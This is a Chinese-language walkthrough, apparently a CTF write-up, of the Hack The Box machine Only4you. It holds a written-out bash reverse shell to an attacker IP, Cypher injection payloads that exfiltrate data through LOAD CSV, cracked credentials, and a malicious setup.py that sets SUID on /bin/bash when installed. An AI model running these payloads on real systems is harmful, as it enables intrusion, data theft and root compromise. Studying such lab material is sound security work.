开启机器后访问ip地址自动跳转域名,将其ip地址和域名写入hosts文件
C:\Users\kami>nmap -sS -sC -sV -A -p- 10.10.11.210
Nmap scan report for only4you.htb (10.10.11.210)
Host is up (0.60s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e883e0a9fd43df38198aaa35438411ec (RSA)
| 256 83f235229b03860c16cfb3fa9f5acd08 (ECDSA)
|_ 256 445f7aa377690a77789b04e09f11db80 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Only4you
|_http-server-header: nginx/1.18.0 (Ubuntu)
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 4.15 - 5.6 (92%), Linux 3.2 - 4.9 (92%), Linux 5.3 - 5.4 (92%), Linux 2.6.32 - 3.10 (91%), Linux 2.6.32 - 3.9 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 993/tcp)
HOP RTT ADDRESS
1 839.00 ms 10.10.16.1
2 393.00 ms only4you.htb (10.10.11.210)
没有开放什么特别的端口,ssh不抱希望。
Gobuster找到一处子域名,添加到hosts后进行访问
页面有个Source Code
可以将其源码下载下来,右上角两处功能点是图片大小调整
、图片转换
,可以上传文件仅支持jpg、png
格式文件
既然可以下载源码,那么就先从源码入手
上面的这些操作基本就是获取文件名是否合法、调整是否成功之类的,跳到download
函数
获取到文件名后正常运行的情况会下载此文件,访问download抓包修改为post方法访问 参数image
如果触发代码中的规则则会重定向
规则是以…开头,以…/结尾,如果/…/…/xxx/x则不会触发规则
这样就get一枚任意文件下载了,尝试下载shadow、hosts文件等,页面报错500,应该是权限不足
尝试读取主站的文件,猜测linux系统默认路径/var/www/....
,如果猜测正确就开始爆破
成功爆破到一个form.py文件,有一个邮箱账号[email protected],将代码复制下来,审计一下
这里会执行命令:run([f"dig txt {domain}"]) 获取
[email protected]
符号之后的内容
,可以用";"来分割达到命令执行的效果
本地监听8888端口,目标主机执行反弹shell
创建一个bash.sh内容为bash -i >& /dev/tcp/10.10.16.7/8888 0>&1
本地起一个python服务,让目标机器访问执行即可获得主机Shell
通过查看端口看到有一些其他端口在监听,使用frp把流量反代出来去访问这些端口,同样使用python起一个web服务,将frp和配置下载到主机中
访问3000端口是Gogs服务,需要账号密码才能登录
8001端口是一个登录框,可以使用弱口令登录user:admin password:admin
7474端口是Neo4j Browser,Google了一下,是图数据库,存在与数据库交互是否也有注入呢。
回到8001端口,登录之后来到搜索框,参考资料进行注入
首先获取版本号:' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.10.16.33:4444/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //
获取节点(可以理解为mysql中的表):1' OR 1=1 WITH 1 as a CALL db.labels() yield label LOAD CSV FROM 'http://10.10.16.33:4444/?label='+label as l RETURN 0 as _0 //
查询user节点的属性值:1' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.16.33:4444/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
查询结果给出了username
和password
解密一下
username | password | 解密 |
---|---|---|
admin | 8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 | admin |
john | a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 | ThisIs4You |
现在遇到了一个新用户 john,前面探测过ssh端口开放,经过尝试,发现admin不能ssh,但john可以通过ssh进入
成功登录后获取到user shell flag
这里允许john用户使用pip3 download 3000端口的压缩文件,那么去登录一下gogs看看
可以通过pip3 download以及install来执行命令
在Gogs中test仓库默认是私有仓库,将其设置为公开
接下来构建一个提权的demo,在github Copy一份setup.py的文件,RunCommand函数添加内容os.system("chmod +s /bin/bash")
import os
from setuptools import setup, find_packages
from setuptools.command.install import install
from setuptools.command.egg_info import egg_info
def RunCommand():
print("Hello, p0wnd!")
os.system("chmod +s /bin/bash")
class RunEggInfoCommand(egg_info):
def run(self):
RunCommand()
egg_info.run(self)
class RunInstallCommand(install):
def run(self):
RunCommand()
install.run(self)
setup(
name = "this_is_fine_wuzzi",
version = "0.0.1",
license = "MIT",
packages=find_packages(),
cmdclass={
'install' : RunInstallCommand,
'egg_info': RunEggInfoCommand
},
)
代码添加之后就是构建文件了首先安装库,在setup.py同目录直接build即可,构建完成会在目录下生成dist和this_is_fine_wuzzi.egg-info两个文件夹,其中需要的tar.gz文件在dist目录中 记得用Linux
将其上传到gogs仓库,再在目标主机下载 执行命令即可获得root shell
建议做的时候先构建好文件,设置仓库隐私之后立马上传和下载,这里服务器存在重置机制,时间很短。
10.10.16.7以及10.10.16.33都是本机ip地址
参考链接: